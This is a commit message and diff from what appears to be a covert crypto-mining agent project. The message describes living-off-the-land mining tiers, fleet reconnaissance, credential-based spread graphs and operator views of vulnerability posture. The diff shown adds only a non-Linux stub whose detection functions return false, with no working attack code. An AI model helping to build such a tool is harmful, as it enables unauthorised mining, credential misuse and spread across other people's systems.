Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/pyopencl_stub.go

@@ -0,0 +1,11 @@
+//go:build !linux
+
+package miner
+
+import "crypto-miner-agent/config"
+
+func DetectCUDA() bool       { return false }
+func DetectPyOpenCL() bool   { return false }
+func StartPyOpenCLTier(_ config.RuntimeConfig) error {
+	return ErrMethodUnavailable
+}